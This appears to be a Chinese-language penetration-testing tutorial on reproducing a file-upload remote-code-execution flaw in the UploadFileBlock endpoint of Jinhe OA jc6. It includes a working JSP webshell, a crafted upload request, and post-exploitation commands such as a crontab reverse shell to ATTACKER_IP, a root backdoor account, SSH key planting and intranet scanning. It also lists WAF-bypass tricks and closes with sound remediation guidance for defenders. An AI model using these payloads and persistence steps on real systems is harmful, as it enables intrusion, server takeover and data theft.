1. 项目概述一次典型的企业级应用文件上传漏洞深度剖析最近在梳理一些历史漏洞案例时金和OA的jc6版本中一个名为UploadFileBlock的接口漏洞引起了我的注意。这并非一个全新的漏洞但它的成因和利用方式非常经典几乎涵盖了企业级OA系统文件上传功能设计缺陷的“教科书式”案例。对于从事安全研究、渗透测试或企业安全运维的朋友来说理解这类漏洞的来龙去脉不仅能帮助我们复现和验证风险更能从根本上思考如何在自己的项目中避免类似问题。简单来说这个漏洞的核心在于金和OA jc6版本中负责处理文件上传的某个接口通常路径如/jc6/UploadFileBlock未能对用户上传的文件进行有效的安全校验。攻击者可以绕过预期的文件类型限制将包含恶意代码的脚本文件如.jsp,.asp,.php等取决于服务器环境上传到服务器可执行目录从而获得远程代码执行RCE的能力。一旦利用成功攻击者就相当于拿到了服务器的一个“后门”可以执行任意系统命令、窃取敏感数据、植入Webshell进一步控制内网危害极大。我之所以花时间重新复现和分析这个漏洞是因为它在实际渗透测试中依然有很高的“出镜率”。很多企业特别是传统行业由于系统升级缓慢或运维疏忽仍在运行存在已知高危漏洞的旧版本系统。通过手动复现我们可以更直观地理解漏洞触发点、利用条件以及修复方案这对于构建主动防御体系至关重要。接下来我将从环境搭建、漏洞原理、手工利用、深度利用以及修复建议几个方面带你完整走一遍这个漏洞的复现与分析过程。2. 漏洞环境搭建与核心原理深度解析2.1 靶场环境快速部署要复现漏洞首先需要一个存在漏洞的金和OA jc6环境。出于安全与法律考虑我们绝对不能在公网或他人的生产系统上进行测试。最佳实践是在本地或隔离的虚拟机中搭建靶场。方案选择与理由通常有两种方式一是寻找官方历史版本的安装包进行安装配置过程较为繁琐二是使用安全社区维护的漏洞靶场集成环境如Vulhub、VulnStack等。这里我推荐使用Docker化的靶场环境因为它能实现快速部署、环境隔离和一键还原非常适合学习和研究。虽然公开的Docker镜像可能不直接包含金和OA但我们可以通过搜索安全研究社区分享的漏洞环境项目来获取。假设我们已经找到了一个打包好的漏洞环境镜像例如vulhub/jeecg这类此处仅为举例金和OA需具体寻找部署命令非常简单# 假设漏洞环境项目目录为 jinheoa-jc6-upload cd jinheoa-jc6-upload docker-compose up -d等待片刻后访问http://your-ip:port就能看到金和OA的登录界面。使用常见的默认弱口令如 admin/admin或已知的后台账户尝试登录。如果环境搭建正确我们将进入系统后台这是寻找上传点的前提。注意所有漏洞复现活动必须在你自己完全可控的隔离环境中进行。切勿对任何未授权的系统进行测试这是法律红线。2.2 漏洞接口定位与功能逻辑反推漏洞的关键在于UploadFileBlock接口。这个接口名称直译为“上传文件块”暗示了其可能用于处理大文件分块上传的功能。在现代Web应用中分块上传是一个常见特性用于改善用户体验避免单次请求超时。我们需要定位到这个接口的具体URL。通常可以通过以下方法前端代码分析在浏览器开发者工具F12中查看涉及文件上传的前端页面如个人信息头像修改、附件上传等的JavaScript代码或网络请求寻找包含UploadFileBlock关键词的API调用。目录/文件扫描使用工具如dirsearch、gobuster对目标Web目录进行扫描寻找可能存在的敏感路径或文件。有时接口路径可能直接暴露。已知信息利用根据公开的漏洞详情如CNVD、CNNVD公告或安全研究员的分析文章直接获取接口路径。例如路径可能类似于/jc6/servlet/UploadFileBlock或/C6/Control/UploadFileBlock。找到接口后我们需要理解其预期行为。一个正常的分块上传接口工作流程大致如下前端将大文件切割成多个固定大小的“块”Block。对于每个块前端向/UploadFileBlock接口发送请求携带块数据、块序号、文件总信息如文件名、总块数等。服务端接口接收每个块并将其临时存储或追加到目标文件中。所有块上传完成后可能由另一个接口触发合并操作生成完整的文件并进行最终的文件类型、内容安全检查然后移动到正式存储目录。2.3 漏洞根因缺失的“最后一公里”校验金和OA jc6的UploadFileBlock漏洞就出在上述流程的第4步或者更准确地说它缺失了完整、有效的第4步。根据分析漏洞可能由以下一个或多个原因导致校验逻辑前置且可绕过服务端可能在接收每个“块”时进行了一些初步校验如检查请求参数但对最终合并后的完整文件缺少强有力的后缀名或内容类型校验。攻击者可以通过构造特殊的请求如修改Content-Type、在文件名中插入特殊字符等欺骗初步校验逻辑。路径可控导致文件覆盖接口可能允许客户端指定或影响最终文件的存储路径和名称。如果未对路径进行严格的过滤如防止目录穿越../攻击者可以将恶意文件上传到Web可访问的目录如Web根目录、上传目录等并覆盖已有文件或创建新文件。信任客户端输入服务器过度信任客户端上传的文件名、MIME类型等信息而没有使用服务端逻辑进行二次确认。例如攻击者上传一个.jpg后缀的文件但在HTTP请求中将其Content-Type设置为image/jpeg而服务器仅根据Content-Type判断忽略了实际文件内容和后缀。分块合并逻辑缺陷合并文件的逻辑可能存在缺陷使得攻击者可以通过上传一个精心构造的“块”在合并时破坏原有文件结构或注入恶意代码。核心问题归纳UploadFileBlock接口完成了“接收并存储数据块”的任务但没有在最终环节对“组装好的成品”进行严格的安全质检就将其放行到了危险区域Web可执行目录。这就像工厂的流水线每个零件检查都合格但最后组装完的整机却忘了做安全检查直接出厂了。3. 手工漏洞复现与利用全流程理解了原理我们开始动手复现。手工复现能让你对HTTP请求和响应的每一个细节有更深刻的感知这是自动化工具无法替代的。3.1 信息收集与接口探测首先确保你的靶场环境运行正常并且已经以某个身份如普通用户登录系统。然后我们需要精确找到漏洞接口。方法一基于已知路径构造请求。假设我们从公开资料得知路径为/jc6/servlet/UploadFileBlock。方法二使用Burp Suite抓包分析。这是更可靠的方法。在浏览器中打开任何一个可能存在文件上传功能的位置例如“修改头像”、“上传附件”、“导入数据”等页面。开启Burp Suite的代理拦截功能在页面上传一个正常的图片文件如test.jpg观察Burp拦截到的HTTP请求。你需要关注的请求特征URL路径是否包含Upload、File、Block等关键字。请求参数可能会看到chunk块序号、chunks总块数、name文件名、id文件ID等参数。POST数据内容类型Content-Type可能是multipart/form-data包含文件数据本身。一旦发现疑似接口记录下完整的URL、必需的参数和请求格式。3.2 精心构造恶意HTTP请求这是利用漏洞的核心步骤。我们将手工构造一个上传Webshell的HTTP请求。我们以上传一个JSP WebShell为例假设目标服务器是Java环境。步骤1准备WebShell载荷创建一个简单的JSP文件内容如下将其保存为shell.jsp% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个WebShell允许我们通过?cmdwhoami这样的参数来执行系统命令。步骤2使用Burp Suite构造并发送攻击请求将Burp Suite切换到Repeater模块。在Repeater中将请求方法设置为POSTURL填写为找到的UploadFileBlock接口地址例如http://192.168.1.100:8080/jc6/servlet/UploadFileBlock。设置请求头。关键的Content-Type需要设置为multipart/form-data; boundary----WebKitFormBoundaryABC123boundary可以自定义用于分隔表单数据的不同部分。构造请求体。这是最复杂的一步。我们需要按照multipart/form-data的格式模拟一个文件上传请求。一个极简的、可能成功的恶意请求体结构如下POST /jc6/servlet/UploadFileBlock HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 Content-Length: [计算后的长度] ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.jsp Content-Type: image/jpeg % page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); // ... 其余代码同上 } % ------WebKitFormBoundaryABC123--关键攻击点分析filenameshell.jsp我们直接指定了恶意文件的后缀为.jsp。如果漏洞存在服务器会接受这个后缀。Content-Type: image/jpeg这是一个常见的绕过技巧。我们将文件MIME类型声明为图片试图欺骗一些仅检查Content-Type头的初级防御。请求体中直接包含了我们的JSP代码。如果接口是分块上传我们可能需要将文件内容分成多个部分发送并添加chunk等参数。但在最简单的漏洞场景下直接上传整个文件也可能成功。点击“Send”发送请求。3.3 响应分析与利用成功确认发送请求后仔细观察Burp Suite返回的响应Response。成功迹象响应状态码为200。响应体可能包含JSON或XML格式的数据其中包含success、url、path等字段明确给出了上传后文件的访问路径。例如{code:200, msg:success, data:/upload/20240415/xxxxxx.jsp}响应体可能比较简单如直接返回文件存储的相对路径或文件名。失败迹象状态码为403禁止访问、500服务器内部错误。返回错误信息如“文件类型不允许”、“上传失败”等。如果响应提示上传成功并返回了路径恭喜你漏洞利用的第一步完成了。接下来在浏览器中直接访问这个返回的路径例如http://192.168.1.100:8080/upload/xxxxxx.jsp。如果服务器配置了禁止直接访问JSP可能会报错。但更常见的情况是页面空白或正常显示因为我们的shell需要参数才输出。为了验证WebShell是否真正可用在访问URL后加上命令参数http://192.168.1.100:8080/upload/xxxxxx.jsp?cmdwhoami。如果页面返回了服务器当前用户的用户名如tomcat、root等则证明远程代码执行RCE成功漏洞复现完成。4. 漏洞深度利用与渗透扩展成功上传WebShell只是开始。在真实的渗透测试或安全评估中我们需要思考如何将这个“点”的突破转化为“面”的控制。4.1 权限提升与持久化获得的WebShell通常以Web服务器进程如tomcat、apache的身份运行权限可能受限。我们需要尝试提权。信息收集首先利用WebShell执行命令收集系统信息。# 查看当前用户 cmdwhoami # 查看系统信息 cmduname -a # 查看网络配置 cmdifconfig 或 ip addr # 查看进程列表 cmdps aux # 查找敏感文件、配置文件、数据库连接信息等 cmdfind / -name *.properties -o -name *.xml -o -name *.db 2/dev/null | head -20尝试提权检查是否有sudo权限cmdsudo -l查找SUID/GUID特殊权限文件cmdfind / -perm -us -type f 2/dev/null查看内核版本搜索公开的本地提权漏洞如Dirty Cow。如果服务器是Windows可以尝试一些常见的提权EXP。持久化后门为了防止WebShell被管理员发现并删除需要建立持久化通道。写入计划任务在Linux下crontab是经典方法。cmdecho \* * * * * /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01\ /tmp/cronjob crontab /tmp/cronjob需要反弹shell到攻击机。添加后门账户在权限允许的情况下。cmduseradd -o -u 0 -g 0 backdoor尝试创建UID为0的root权限账户风险高易被发现。写入SSH密钥如果服务器开放SSH且.ssh目录可写。cmdecho YOUR_PUBLIC_KEY /root/.ssh/authorized_keys。部署内存马更高级、更隐蔽的方式是向Java应用注入内存WebShell如利用Java Agent或反序列化漏洞即使重启应用或删除文件后门依然存在。这需要更深入的Java知识。4.2 内网横向移动如果目标服务器处于内网它很可能是一个跳板。探测内网结构利用WebShell执行内网扫描。# 探测同网段存活主机 cmdfor i in {1..254}; do ping -c 1 -W 1 192.168.1.$i done | grep from # 探测常见端口 cmdnc -zv 192.168.1.10 22 80 443 3306 3389 21端口转发与代理由于WebShell通常无法直接访问内网其他IP我们需要建立隧道。使用reGeorg、Tunna等HTTP隧道工具将WebShell作为代理使攻击机能够通过它访问内网。使用EarthWorm (ew)、frp、ngrok等端口转发工具在目标服务器上运行客户端将内网端口映射到攻击机的VPS上。攻击内网服务通过建立的隧道攻击机可以像在内网一样使用常规工具如Nmap, Metasploit, Hydra等对内网的Web应用、数据库如MySQL弱口令、文件共享SMB、远程桌面RDP等进行渗透测试。4.3 自动化利用脚本编写思路手工复现利于学习但实战中效率至上。我们可以用Python编写一个简单的漏洞利用脚本POC。脚本核心功能设计参数接收接受目标URL、本地WebShell文件路径、上传后预期文件名等参数。请求构造自动构建符合multipart/form-data格式的HTTP请求正确计算Content-Length并处理boundary。结果解析发送请求后解析响应提取上传文件路径。使用正则表达式或解析JSON来定位路径字段。利用验证自动访问上传后的文件并尝试执行一个无害命令如whoami或echo test123来验证RCE是否成功。交互式Shell可选提供简易的交互模式允许用户输入命令并查看结果。编写注意事项异常处理必须完善处理网络超时、连接错误、响应格式不符等各种异常情况。编码问题注意文件名和文件内容的编码确保中文字符等不会乱码。流量隐蔽可以对请求进行一些随机化处理如使用随机的User-Agent、boundary字符串以规避简单的WAF规则。合法性声明在脚本开头明确注明仅用于授权安全测试和教育目的。5. 漏洞修复方案与安全开发建议复现漏洞的最终目的是为了修复和预防。针对此类任意文件上传漏洞修复必须从多层面进行纵深防御。5.1 紧急临时修复措施如果线上系统短期内无法升级可以采取以下临时加固方案WAF规则拦截在Web应用防火墙WAF或网关层面添加规则拦截对UploadFileBlock接口的异常请求。例如检查请求中是否包含.jsp、.asp、.php等危险后缀或者检查filename参数中是否包含目录穿越字符../。文件服务器权限限制确保上传目录如/upload/的权限设置为不可执行。在Apache中可以在对应目录的.htaccess文件中添加RemoveHandler .php .jsp .asp或php_flag engine off。在Nginx中可以在location配置中禁止执行脚本location ~* ^/upload/.*\.(jsp|php|asp)$ { deny all; }。重命名与隐藏路径修改上传逻辑对上传的文件进行强制重命名如使用UUID并且不直接返回可猜测的完整URL。避免攻击者直接访问上传的文件。禁用危险接口如果业务上不需要UploadFileBlock功能可以直接在应用服务器如Tomcat的web.xml或前端路由中禁用对该接口的访问。5.2 根本性修复方案临时措施治标不治本需要从代码层面进行根本修复。白名单文件后缀校验在服务端使用严格的白名单机制校验文件扩展名。只允许业务必需的类型如.jpg,.png,.pdf,.docx。绝对不要使用黑名单因为黑名单永远无法穷尽所有危险后缀如.jspx,.jspf,.cer等。// Java示例 String[] allowedExt {jpg, png, pdf, docx}; String fileName uploadedFile.getOriginalFilename(); String ext fileName.substring(fileName.lastIndexOf(.) 1).toLowerCase(); if (!Arrays.asList(allowedExt).contains(ext)) { throw new SecurityException(文件类型不允许); }服务端MIME类型校验不要相信客户端传来的Content-Type。使用文件头魔术数字Magic Number或可靠的库如Apache Tika在服务端检测文件的真实类型并与白名单后缀进行匹配。// 使用Java Files.probeContentType 或自定义检测 Path path uploadedFile.toPath(); String detectedType Files.probeContentType(path); if (!detectedType.startsWith(image/)) { // 例如只允许图片 // 拒绝上传 }重命名与随机化存储上传后立即将文件重命名为随机字符串如UUID并去掉原始扩展名。存储路径也尽量随机化、不可预测。返回给前端的只是一个文件ID或映射关系。String savedFileName UUID.randomUUID().toString(); // 例如550e8400-e29b-41d4-a716-446655440000 String savedPath /app/upload/ getDatePath() / savedFileName; // 将 savedFileName 与原始文件名的映射关系存入数据库设置文件存储目录权限确保上传目录位于Web根目录之外或者即使位于Web目录下也通过服务器配置禁止该目录下任何脚本文件的执行。文件内容安全扫描对于允许上传的文档如PDF, DOCX在服务器端进行病毒或恶意代码扫描。对于图片可以进行二次渲染如压缩、缩放以破坏可能隐藏在像素数据中的恶意代码。分块上传逻辑加固对于UploadFileBlock这类接口需要在最终合并文件后对完整的文件执行上述所有安全检查白名单、MIME检测、内容扫描检查通过后才允许从临时目录移动到正式存储区。合并前的临时文件也应存放在不可Web访问的位置。5.3 安全开发规范建议从源头避免漏洞需要在开发流程中融入安全设计。安全培训让开发人员充分理解任意文件上传漏洞的危害和常见绕过手法。使用安全组件采用经过安全审计的、成熟的文件上传处理库或组件而不是自己从头实现复杂的上传逻辑。代码审计与渗透测试在系统上线前和定期维护中进行专业的代码安全审计和渗透测试重点关注所有用户输入点特别是文件上传、反序列化、命令执行等高风险功能。最小权限原则运行Web服务的账户如tomcat,www-data应仅拥有必要的最小权限避免其拥有写入系统关键目录或执行高危命令的能力。6. 复现过程中的常见问题与排查技巧在实际动手复现时你可能会遇到各种问题。这里记录了一些我踩过的坑和解决方法。问题1环境搭建失败服务无法启动。可能原因Docker镜像依赖问题、端口冲突、镜像本身损坏。排查检查Docker和Docker-Compose版本是否兼容。运行docker-compose logs查看具体错误日志。检查宿主机端口如8080是否已被其他程序占用。尝试拉取或构建其他研究者提供的同漏洞环境镜像。问题2找到了接口但上传任何文件都返回“上传失败”或“系统错误”。可能原因接口需要特定的参数或参数格式。你可能漏掉了chunk、chunks、id等必要参数。接口对请求头有要求如特定的Referer、User-Agent或Cookie会话认证。接口已修复或你找到的路径不正确。排查仔细分析正常请求务必先通过浏览器正常上传一个合法文件如图片用Burp抓包分析完整的请求结构和所有参数。然后在这个合法请求的基础上进行修改。保持会话确保你的攻击请求中包含了从登录后获取的有效Cookie或Session ID。参数模拟完全复制正常请求中的所有参数名和格式只修改filename和文件内容部分。问题3上传成功返回了路径但访问时返回404或403。可能原因返回的路径是相对路径或错误路径。文件被上传到了非Web可访问的目录。服务器配置了规则禁止访问特定后缀的文件。文件在合并或移动过程中失败。排查尝试组合不同的基础URL和返回的路径进行访问。如果返回路径包含..尝试进行目录穿越访问如../../跳转到更上级目录。尝试上传一个纯文本文件如test.txt看是否能正常访问以排除脚本执行拦截的问题。查看服务器日志如果可能确认文件最终存储的位置和访问错误的具体原因。问题4上传的WebShell可以访问但执行命令无回显。可能原因WebShell代码执行环境有问题如Java Runtime.exec的流处理问题。服务器安全策略限制了命令执行如禁用某些函数。命令执行有输出但被Web容器或代码本身处理了。排查优化WebShell使用更健壮的JSP Shell妥善处理命令执行的输入输出流。可以尝试使用ProcessBuilder。尝试简单命令先执行cmdecho hello或cmddir(Windows) /cmdls(Linux)看是否有反应。尝试写入文件执行cmdecho test /tmp/test.txt然后尝试通过其他方式如目录遍历漏洞查看文件是否创建成功以验证命令是否执行。使用编码命令对于Linux可以尝试cmdwhich python3或cmdwhich nc来探测环境。问题5请求被WAF或安全设备拦截。可能原因请求中存在明显的攻击特征如filename”shell.jsp”。绕过技巧修改大小写Shell.Jsp、SHELL.JSP。双重后缀shell.jsp.jpg依赖服务器解析漏洞。添加特殊字符shell.jsp%00.jpg空字节截断依赖特定环境。修改Content-Type尝试不同的MIME类型。分块编码传输使用HTTP分块传输编码Transfer-Encoding: chunked来混淆请求体。参数污染上传多个同名参数如同时存在file和file[]扰乱WAF解析。手工复现漏洞是一个需要耐心和细致观察的过程。每一个错误响应都蕴含着关于服务器逻辑的信息。多思考、多尝试、多对比正常与异常的流量是提升漏洞挖掘和利用能力的不二法门。